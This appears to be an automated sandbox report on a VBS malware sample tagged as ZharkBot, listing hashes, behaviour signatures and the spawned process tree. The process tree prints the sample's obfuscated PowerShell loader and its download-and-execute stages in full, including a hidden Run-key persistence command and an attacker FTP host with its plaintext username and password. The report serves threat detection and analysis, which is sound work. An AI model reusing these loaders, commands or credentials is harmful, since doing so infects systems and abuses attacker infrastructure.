Analysis
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max time kernel
94s -
max time network
99s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
20-09-2024 07:41
Static task
static1
Behavioral task
behavioral1
Sample
596a00476cdbd7a3f93ec08a71f1a356e4289da5017132ee631368d4b2251e23.vbs
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
596a00476cdbd7a3f93ec08a71f1a356e4289da5017132ee631368d4b2251e23.vbs
Resource
win10v2004-20240802-en
General
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Target
596a00476cdbd7a3f93ec08a71f1a356e4289da5017132ee631368d4b2251e23.vbs
-
Size
681KB
-
MD5
9bd642cb865da2fbc2268da38596d491
-
SHA1
1b3752ed0e4910bc214b1229beb9bafccd426e21
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SHA256
596a00476cdbd7a3f93ec08a71f1a356e4289da5017132ee631368d4b2251e23
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SHA512
d0eb2d2ef74e79f142073b1d65a754ec986df42c462e7a2349e82f46c37275ed73570a709561e4f10c951379961f88e191adfab0872a91c3510eb57ae200a383
-
SSDEEP
1536:9SSSSSSSSSSSSSSSSSSSSSSSx22222222222222222222222222222222222222p:e0iA2Seis
Malware Config
Extracted
https://drive.google.com/uc?export=download&id=
Extracted
Protocol: ftp- Host:
ftp.desckvbrat.com.br - Port:
21 - Username:
desckvbrat1 - Password:
developerpro21578Jp@@
Signatures
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Detects ZharkBot payload 3 IoCs
ZharkBot is a botnet written C++.
resource yara_rule behavioral2/memory/456-58-0x0000000000400000-0x0000000000455000-memory.dmp zharkcore behavioral2/memory/456-62-0x0000000000400000-0x0000000000455000-memory.dmp zharkcore behavioral2/memory/456-60-0x0000000000400000-0x0000000000455000-memory.dmp zharkcore -
Blocklisted process makes network request 7 IoCs
flow pid Process 11 2184 powershell.exe 16 2184 powershell.exe 18 2184 powershell.exe 20 2184 powershell.exe 22 2184 powershell.exe 24 2184 powershell.exe 30 1944 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-355097885-2402257403-2971294179-1000\Control Panel\International\Geo\Nation WScript.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-355097885-2402257403-2971294179-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Update Drivers NVIDEO_g = "cmd.exe /c start /min \"\" Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Comman \". 'C:\\Users\\Admin\\AppData\\Local\\Microsoft\\LocalLow\\System Update\\cmylt.ps1' \";exit" powershell.exe -
pid Process 1824 powershell.exe 1944 powershell.exe 4608 powershell.exe 2184 powershell.exe -
Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
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Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 25 pastebin.com 30 pastebin.com -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 1944 set thread context of 456 1944 powershell.exe 98 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Program crash 1 IoCs
pid pid_target Process procid_target 3280 456 WerFault.exe 98 -
System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language RegAsm.exe -
Suspicious behavior: EnumeratesProcesses 10 IoCs
pid Process 4608 powershell.exe 4608 powershell.exe 2184 powershell.exe 2184 powershell.exe 2184 powershell.exe 1824 powershell.exe 1824 powershell.exe 1944 powershell.exe 1944 powershell.exe 1944 powershell.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 4608 powershell.exe Token: SeDebugPrivilege 2184 powershell.exe Token: SeDebugPrivilege 1824 powershell.exe Token: SeDebugPrivilege 1944 powershell.exe -
Suspicious use of WriteProcessMemory 21 IoCs
description pid Process procid_target PID 3508 wrote to memory of 4608 3508 WScript.exe 84 PID 3508 wrote to memory of 4608 3508 WScript.exe 84 PID 4608 wrote to memory of 2184 4608 powershell.exe 86 PID 4608 wrote to memory of 2184 4608 powershell.exe 86 PID 2184 wrote to memory of 3544 2184 powershell.exe 91 PID 2184 wrote to memory of 3544 2184 powershell.exe 91 PID 2184 wrote to memory of 1824 2184 powershell.exe 92 PID 2184 wrote to memory of 1824 2184 powershell.exe 92 PID 2184 wrote to memory of 1944 2184 powershell.exe 94 PID 2184 wrote to memory of 1944 2184 powershell.exe 94 PID 2184 wrote to memory of 4336 2184 powershell.exe 95 PID 2184 wrote to memory of 4336 2184 powershell.exe 95 PID 1944 wrote to memory of 456 1944 powershell.exe 98 PID 1944 wrote to memory of 456 1944 powershell.exe 98 PID 1944 wrote to memory of 456 1944 powershell.exe 98 PID 1944 wrote to memory of 456 1944 powershell.exe 98 PID 1944 wrote to memory of 456 1944 powershell.exe 98 PID 1944 wrote to memory of 456 1944 powershell.exe 98 PID 1944 wrote to memory of 456 1944 powershell.exe 98 PID 1944 wrote to memory of 456 1944 powershell.exe 98 PID 1944 wrote to memory of 456 1944 powershell.exe 98
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\596a00476cdbd7a3f93ec08a71f1a356e4289da5017132ee631368d4b2251e23.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3508 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$qKKzc = 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EkЌз革LQB5Ќз革HЌз革Ќз革bwBDЌз革CЌз革Ќз革OwЌз革gЌз革HQЌз革cgBhЌз革HQЌз革cwBlЌз革HIЌз革bwBuЌз革C8Ќз革IЌз革B0Ќз革GUЌз革aQB1Ќз革HEЌз革LwЌз革gЌз革FEЌз革QQBqЌз革HoЌз革SQЌз革gЌз革GUЌз革eЌз革BlЌз革C4Ќз革YQBzЌз革HUЌз革dwЌз革gЌз革GUЌз革eЌз革BlЌз革C4Ќз革bЌз革BsЌз革GUЌз革aЌз革BzЌз革HIЌз革ZQB3Ќз革G8Ќз革cЌз革Ќз革gЌз革DsЌз革KQЌз革nЌз革HUЌз革cwBtЌз革C4Ќз革bgBpЌз革HcЌз革cЌз革BVЌз革FwЌз革JwЌз革gЌз革CsЌз革IЌз革BkЌз革EkЌз革UgBpЌз革E0Ќз革JЌз革Ќз革oЌз革CЌз革Ќз革PQЌз革gЌз革FEЌз革QQBqЌз革HoЌз革SQЌз革7Ќз革CkЌз革IЌз革BlЌз革G0Ќз革YQBOЌз革HIЌз革ZQBzЌз革FUЌз革OgЌз革6Ќз革F0Ќз革dЌз革BuЌз革GUЌз革bQBuЌз革G8Ќз革cgBpЌз革HYЌз革bgBFЌз革FsЌз革IЌз革Ќз革rЌз革CЌз革Ќз革JwBcЌз革HMЌз革cgBlЌз革HMЌз革VQBcЌз革DoЌз革QwЌз革nЌз革CgЌз革IЌз革Ќз革9Ќз革CЌз革Ќз革RgBHЌз革HIЌз革VQBBЌз革CQЌз革OwЌз革pЌз革CcЌз革dQBzЌз革G0Ќз革LgBuЌз革GkЌз革dwBwЌз革FUЌз革XЌз革Ќз革nЌз革CЌз革Ќз革KwЌз革gЌз革GQЌз革SQBSЌз革GkЌз革TQЌз革kЌз革CЌз革Ќз革LЌз革BCЌз革EsЌз革TЌз革BSЌз革FUЌз革JЌз革Ќз革oЌз革GUЌз革bЌз革BpЌз革EYЌз革ZЌз革BhЌз革G8Ќз革bЌз革BuЌз革HcЌз革bwBEЌз革C4Ќз革eЌз革BoЌз革EoЌз革SЌз革B5Ќз革CQЌз革OwЌз革4Ќз革EYЌз革VЌз革BVЌз革DoЌз革OgBdЌз革GcЌз革bgBpЌз革GQЌз革bwBjЌз革G4Ќз革RQЌз革uЌз革HQЌз革eЌз革BlЌз革FQЌз革LgBtЌз革GUЌз革dЌз革BzЌз革HkЌз革UwBbЌз革CЌз革Ќз革PQЌз革gЌз革GcЌз革bgBpЌз革GQЌз革bwBjЌз革G4Ќз革RQЌз革uЌз革HgЌз革aЌз革BKЌз革EgЌз革eQЌз革kЌз革DsЌз革KQB0Ќз革G4Ќз革ZQBpЌз革GwЌз革QwBiЌз革GUЌз革VwЌз革uЌз革HQЌз革ZQBOЌз革CЌз革Ќз革dЌз革BjЌз革GUЌз革agBiЌз革E8Ќз革LQB3Ќз革GUЌз革TgЌз革oЌз革CЌз革Ќз革PQЌз革gЌз革HgЌз革aЌз革BKЌз革EgЌз革eQЌз革kЌз革DsЌз革fQЌз革7Ќз革CЌз革Ќз革KQЌз革nЌз革HQЌз革TwBMЌз革GMЌз革XwBLЌз革GEЌз革MwBaЌз革GYЌз革bwBYЌз革DIЌз革SgBKЌз革HIЌз革VgBoЌз革G0Ќз革VgЌз革5Ќз革GMЌз革bQЌз革5Ќз革FgЌз革cwB1Ќз革FgЌз革bQBqЌз革DEЌз革ZwЌз革xЌз革CcЌз革IЌз革Ќз革rЌз革CЌз革Ќз革RgBhЌз革EUЌз革WQBSЌз革CQЌз革KЌз革Ќз革gЌз革D0Ќз革IЌз革BGЌз革GEЌз革RQBZЌз革FIЌз革JЌз革B7Ќз革CЌз革Ќз革ZQBzЌз革GwЌз革ZQB9Ќз革DsЌз革IЌз革Ќз革pЌз革CcЌз革MgЌз革0Ќз革HUЌз革WЌз革BKЌз革FQЌз革cQBhЌз革G0Ќз革ZwB5Ќз革E0Ќз革dЌз革BGЌз革HoЌз革YQBrЌз革FЌз革Ќз革UgЌз革xЌз革HEЌз革XwBJЌз革HYЌз革RwBpЌз革FgЌз革TgBkЌз革HEЌз革YQBOЌз革DEЌз革JwЌз革gЌз革CsЌз革IЌз革BGЌз革GEЌз革RQBZЌз革FIЌз革JAAoACAAPQAgAEYAYQBFAFkAUgAkAHsAIAApACAAVwBpAGkAQgBzACQAIAAoACAAZgBpADsAIAApACcANAA2ACcAKABzAG4AaQBhAHQAbgBvAEMALgBFAFIAVQBUAEMARQBUAEkASABDAFIAQQBfAFIATwBTAFMARQBDAE8AUgBQADoAdgBuAGUAJAAgAD0AIABXAGkAaQBCAHMAJAA7ACcAPQBkAGkAJgBkAGEAbwBsAG4AdwBvAGQAPQB0AHIAbwBwAHgAZQA/AGMAdQAvAG0AbwBjAC4AZQBsAGcAbwBvAGcALgBlAHYAaQByAGQALwAvADoAcwBwAHQAdABoACcAIAA9ACAARgBhAEUAWQBSACQAOwApACAAJwB1AHMAbQAuAG4AaQB3AHAAVQBcACcAIAArACAAZABJAFIAaQBNACQAIAAoACAAbABlAGQAOwApACgAaAB0AGEAUABwAG0AZQBUAHQAZQBHADoAOgBdAGgAdABhAFAALgBPAEkALgBtAGUAdABzAHkAUwBbACAAPQAgAGQASQBSAGkATQAkAHsAIAApACAARgBkAE0AUQBUACQAIAAoACAAZgBpADsAIAApADIAKABzAGwAYQB1AHEARQAuAHIAbwBqAGEATQAuAG4AbwBpAHMAcgBlAFYALgB0AHMAbwBoACQAIAA9ACAARgBkAE0AUQBUACQAIAA7AA==';$nQCfu = $qKKzc.replace('Ќз革' , 'A') ;$IedxR = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String( $nQCfu ) ); $IedxR = $IedxR[-1..-$IedxR.Length] -join '';$IedxR = $IedxR.replace('%XRqhI%','C:\Users\Admin\AppData\Local\Temp\596a00476cdbd7a3f93ec08a71f1a356e4289da5017132ee631368d4b2251e23.vbs');powershell $IedxR2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4608 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "; $TQMdF = $host.Version.Major.Equals(2) ;if ( $TQMdF ) {$MiRId = [System.IO.Path]::GetTempPath();del ( $MiRId + '\Upwin.msu' );$RYEaF = 'https://drive.google.com/uc?export=download&id=';$sBiiW = $env:PROCESSOR_ARCHITECTURE.Contains('64') ;if ( $sBiiW ) {$RYEaF = ($RYEaF + '1NaqdNXiGvI_q1RPkazFtMygmaqTJXu42') ;}else {$RYEaF = ($RYEaF + '1g1jmXusX9mc9VmhVrJJ2XofZ3aK_cLOt') ;};$yHJhx = (New-Object Net.WebClient);$yHJhx.Encoding = [System.Text.Encoding]::UTF8;$yHJhx.DownloadFile($URLKB, $MiRId + '\Upwin.msu');$AUrGF = ('C:\Users\' + [Environment]::UserName );IzjAQ = ($MiRId + '\Upwin.msu'); powershell.exe wusa.exe IzjAQ /quiet /norestart ; Copy-Item 'C:\Users\Admin\AppData\Local\Temp\596a00476cdbd7a3f93ec08a71f1a356e4289da5017132ee631368d4b2251e23.vbs' -Destination ( $AUrGF + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$lBCzSg;$lcwr = (New-Object Net.WebClient);$lcwr.Encoding = [System.Text.Encoding]::UTF8;$lcwr.Credentials = new-object System.Net.NetworkCredential((-join [char[]](100,101,115,99,107,118,98,114,97,116,49)),'developerpro21578Jp@@');$lBCzSg = $lcwr.DownloadString( 'ftp://[email protected]/Upcrypter/01/DLL01.txt' );$lcwr.dispose();$lcwr = (New-Object Net.WebClient);$lcwr.Encoding = [System.Text.Encoding]::UTF8;$lBCzSg = $lcwr.DownloadString( $lBCzSg );$hzwje = 'C:\Users\Admin\AppData\Local\Temp\596a00476cdbd7a3f93ec08a71f1a356e4289da5017132ee631368d4b2251e23.vbs';[Byte[]] $acBcZ = [System.Convert]::FromBase64String( $lBCzSg.Replace( '↓:↓' , 'A' ) );[System.AppDomain]::CurrentDomain.Load( $acBcZ ).GetType('ClassLibrary3.Class1').GetMethod( 'prFVI' ).Invoke( $null , [object[]] ( 'txt.ni/moc.noitaercneerhem//:sptth' , $hzwje , 'true1' ) );};"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2184 -
C:\Windows\SYSTEM32\cmd.execmd.exe /c mkdir "C:\Users\Admin\AppData\Local\Microsoft\LocalLow\System Update\"4⤵PID:3544
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\Local\Microsoft\LocalLow\System Update\\x2.ps1"4⤵
- Adds Run key to start application
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1824
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Microsoft\LocalLow\System Update\cmylt.ps1"4⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1944 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"5⤵
- System Location Discovery: System Language Discovery
PID:456 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 456 -s 6206⤵
- Program crash
PID:3280
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C:\Windows\SYSTEM32\cmd.execmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\596a00476cdbd7a3f93ec08a71f1a356e4289da5017132ee631368d4b2251e23.vbs"4⤵PID:4336
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 412 -p 456 -ip 4561⤵PID:3932
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
2KB
MD56cf293cb4d80be23433eecf74ddb5503
SHA124fe4752df102c2ef492954d6b046cb5512ad408
SHA256b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8
SHA5120f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00
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Filesize
1.2MB
MD5932b9ae2695ba933db2fe7a431173995
SHA1d417b1b0d6864358851a712b2a7c1c051a732b16
SHA2567a320fa3ff70637f346a7bb2fb2549a8f07ee2baa5f38c8972b459e4d1960c71
SHA512c3b58fd334dcd0aa21b551bf95a0ddf5eebaf38606c45187e583a6df5c6d9bd8057b2d28a872c95b013c11e02def313446b21f42dcd11b4364acf0e9b2221383
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Filesize
334B
MD54be1152b4d288222047a550f3b856b01
SHA10d66c8d24ad3faebe4d35518c5fc471242fac718
SHA25635e604ebb4325e12c1b89fb1469f51b565471f2b7d09ba573862ab781c27a921
SHA512ae88d8e8ed0765c746589ab69f93d59c38617baf99ec66a2328eba874007bbc8f2a11ea4d83291a9a76468415b1310d33e90cd3308d0474c1ca6ed9dec3f8bfa
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Filesize
1KB
MD57d5d8cf9f65ce79e552409c240295219
SHA1ec5e938110638dcd176ce0645682a0d3949dd5a8
SHA256817d6bfa16b959aae0dec64568ec6d98fdd61a205c61dde60551e192e5478596
SHA5120d06c42b9c5648311000eefe9bd5a952dafd999b5c7ab17dbbebb6c6d9cd4b1de451e13ef0af72dfa3557aee8cb8bb5521642db843c3f61dfd701dd6c95afb68
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Filesize
948B
MD5217d9191dfd67252cef23229676c9eda
SHA180d940b01c28e3933b9d68b3e567adc2bac1289f
SHA256e64811c3e57476bb644539824034cabe2cabcb88941122193e2af328f5eb2133
SHA51286767aa3c0eec425b7c6dbfd70a4a334fb5b1227c05fb06fbb3845e7b6974008386276f441c8e66e2bf9b0ae0a76133c4e5602211788cd702eaeadd12c5ff757
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82